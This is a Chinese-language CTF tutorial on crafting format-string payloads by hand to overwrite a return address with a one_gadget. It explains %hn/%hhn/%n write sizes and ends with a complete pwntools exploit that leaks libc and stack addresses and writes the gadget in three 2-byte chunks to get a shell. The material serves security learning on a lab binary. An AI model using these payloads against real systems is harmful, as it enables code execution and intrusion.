引言
我们平常遇到格式化字符串漏洞(要修改返回地址的),一般是利用pwntools去自动生成payload去修该返回地址,但当溢出字节不够时,或者p,s被禁用(hgame week1刚出)我们就需要去手动构造payload
这是我们pwntools自动生成的payload
我们自己手动构造与这个原理是相同的
pay=(b'%'+str(要改成的数).encode()+b'c%13(要改的栈地址的偏移)$hn').ljust(0x28,b'\x00')+p64(stack)#stack是要修改的栈地址
这里再补充一下知识点
hhn为单字节输出
hn为双字节输出
n为四字节输出
就是:hhn一次改一个字节,hn一次更改两个字节,n一次更改四个字节
栈指针:a-b-c,只能改c
例题
IDA分析,函数很简单,while(1)无限循环,明显存在格式化字符串漏洞,我们首先想到用格式化字符串漏洞去泄露函数地址利用libc,之后多次利用格式化字符串漏洞去更改地址为one_gadget
这里还需要补充一个知识点,因为我们一次只能更改两个字节,所以我们怎么去得到那两个字节呢
&运算
print(hex(one_gadget))
print(hex(one_gadget&0xff))
print(hex(one_gadget&0xffff))
>>运算
print(hex(one_gadget))
print(hex(one_gadget>>16))
##8为1字节,16为2字节
print(hex(one_gadget>>32))
找返回地址:
一般可修改的返回地址:printf的返回地址,fmt的返回地址,main函数的返回地址(libc_start_main)
printf的返回地址:pwndbg到printf函数si进入printf函数
fmt的返回地址:
main函数的返回地址(libc_start_main):
exp:
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
gdb.attach(p)
pause()
p.sendline(str(1))
p.recvuntil("lbs,lbs,lbs\n")
pay1=b'%45$p%47$p'
bug()
p.send(pay1)
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-243-libc.sym['__libc_start_main']
p.recvuntil("0x")
stack=int(p.recv(12),16)
print(hex(libc_base))
print(hex(stack))one_gadget=libc_base+0xe3b01
print(hex(one_gadget))
print(hex(one_gadget>>16&0xffff))
print(hex(one_gadget>>32))
stack1=stack-560 #printf返回地址
stack2=stack-256 #fmt返回地址
stack3=stack2+0x10 #main返回地址p.sendline(str(1))
p.recvuntil("lbs,lbs,lbs\n")
pay2=(b'%'+str(one_gadget&0xffff).encode()+b'c%13$hn').ljust(0x28,b'\x00')+p64(stack3)#修改尾两字节
#bug()
p.sendline(pay2)
p.sendline(str(1))
p.recvuntil("lbs,lbs,lbs\n")
pay3=(b'%'+str(one_gadget>>16&0xffff).encode()+b'c%13$hn').ljust(0x28,b'\x00')+p64(stack3+2)#修改中间两字节
p.sendline(pay3)
p.sendline(str(1))
p.recvuntil("lbs,lbs,lbs\n")
pay4=(b'%'+str(one_gadget>>32).encode()+b'c%13$hn').ljust(0x28,b'\x00')+p64(stack3+4)
bug()
p.sendline(pay4)
p.sendline("5")p.interactive()
获取权限